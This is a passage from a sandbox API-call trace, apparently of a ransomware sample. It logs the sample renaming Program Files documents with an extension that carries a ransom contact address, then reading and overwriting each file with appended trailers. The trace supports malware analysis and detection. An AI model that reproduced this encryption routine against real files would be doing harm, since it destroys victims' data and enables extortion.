Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.554] CloseHandle (hObject=0x698) returned 1 [0235.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.555] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0235.675] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.734] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0235.899] GetProcessHeap () returned 0x630000 [0235.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666d90 [0235.899] GetProcessHeap () returned 0x630000 [0235.899] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6657e8 [0235.899] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.899] ReadFile (in: hFile=0x6a4, lpBuffer=0x666d90, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d90*, lpNumberOfBytesRead=0x343ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.975] GetProcessHeap () returned 0x630000 [0235.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0235.976] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.976] WriteFile (in: hFile=0x6a4, lpBuffer=0x6657e8*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6657e8*, lpNumberOfBytesWritten=0x343ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.976] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.976] WriteFile (in: hFile=0x6a4, lpBuffer=0x665a07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a07*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.976] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.976] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.976] CloseHandle (hObject=0x6a4) returned 1 [0235.976] GetProcessHeap () returned 0x630000 [0235.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6657e8 | out: hHeap=0x630000) returned 1 [0235.976] GetProcessHeap () returned 0x630000 [0235.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d90 | out: hHeap=0x630000) returned 1 [0235.976] GetProcessHeap () returned 0x630000 [0235.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0235.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52998216, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x343fd20, dwReserved1=0x666d90, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0235.977] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.977] Sleep (dwMilliseconds=0x1) [0236.068] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x343ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml") returned 1 [0236.068] GetProcessHeap () returned 0x630000 [0236.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f64) returned 0x6fe3bb0 [0236.068] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.068] CloseHandle (hObject=0x6f8) returned 1 [0236.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.068] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d53c0 [0236.070] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0236.070] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0236.070] GetProcessHeap () returned 0x630000 [0236.070] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4000 [0236.070] GetProcessHeap () returned 0x630000 [0236.070] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0236.070] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.070] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f4000, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4000*, lpNumberOfBytesRead=0x343ff0c*=0x180, lpOverlapped=0x0) returned 1 [0236.072] GetProcessHeap () returned 0x630000 [0236.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0236.072] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.072] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3920*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesWritten=0x343ff0c*=0x180, lpOverlapped=0x0) returned 1 [0236.072] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.073] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f3a9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3a9f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.073] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.073] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.073] CloseHandle (hObject=0x6f8) returned 1 [0236.073] GetProcessHeap () returned 0x630000 [0236.073] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0236.073] GetProcessHeap () returned 0x630000 [0236.073] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4000 | out: hHeap=0x630000) returned 1 [0236.073] GetProcessHeap () returned 0x630000 [0236.073] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0236.073] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52a7d217, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x343fd20, dwReserved1=0x6f4000, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0236.073] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0236.073] Sleep (dwMilliseconds=0x1) [0236.129] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Uninstall Information\\reprint loss.exe", len=0x37 | out: pbstr=0x343ff7c*="C:\\Program Files\\Uninstall Information\\reprint loss.exe") returned 1 [0236.129] GetProcessHeap () returned 0x630000 [0236.129] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f54) returned 0x6fe3bb0 [0236.129] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information\\reprint loss.exe" (normalized: "c:\\program files\\uninstall information\\reprint loss.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.129] Sleep (dwMilliseconds=0x1) [0236.202] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl", len=0x2f | out: pbstr=0x343ff7c*="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl") returned 1 [0236.202] GetProcessHeap () returned 0x630000 [0236.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f40) returned 0x6fe3bb0 [0236.202] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0236.212] CloseHandle (hObject=0x700) returned 1 [0236.212] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.213] MoveFileW (lpExistingFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.003.etl"), lpNewFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.265] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x8390c831, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x39b54322, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~2.FIR")) returned 0x6d5280 [0236.265] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0236.265] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\rempl\\logs\\remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0236.265] GetProcessHeap () returned 0x630000 [0236.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0236.265] GetProcessHeap () returned 0x630000 [0236.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0236.265] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.265] ReadFile (in: hFile=0x700, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.882] GetProcessHeap () returned 0x630000 [0243.882] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c418 [0243.882] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.882] WriteFile (in: hFile=0x700, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0243.882] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.882] WriteFile (in: hFile=0x700, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.883] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.883] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.883] CloseHandle (hObject=0x700) returned 1 [0243.883] GetProcessHeap () returned 0x630000 [0243.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0243.883] GetProcessHeap () returned 0x630000 [0243.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0243.883] GetProcessHeap () returned 0x630000 [0243.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c418 | out: hHeap=0x630000) returned 1 [0243.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x8390c831, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x5750c980, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xc6c7496, dwReserved1=0x72e9d70, cFileName="Remediation.003.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REMEDI~2.FIR")) returned 0x6d4e00 [0243.883] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0243.884] Sleep (dwMilliseconds=0x1) [0245.216] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl", len=0x78 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl") returned 1 [0245.216] GetProcessHeap () returned 0x630000 [0245.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0245.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0245.218] CloseHandle (hObject=0x6a4) returned 1 [0245.218] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.219] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a6fec90, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL90X~1.FIR")) returned 0x6d5200 [0245.220] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0245.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0245.220] GetProcessHeap () returned 0x630000 [0245.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7437868 [0245.220] GetProcessHeap () returned 0x630000 [0245.220] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0245.221] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.221] ReadFile (in: hFile=0x6a4, lpBuffer=0x7437868, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437868*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.365] GetProcessHeap () returned 0x630000 [0253.365] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0253.366] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.366] WriteFile 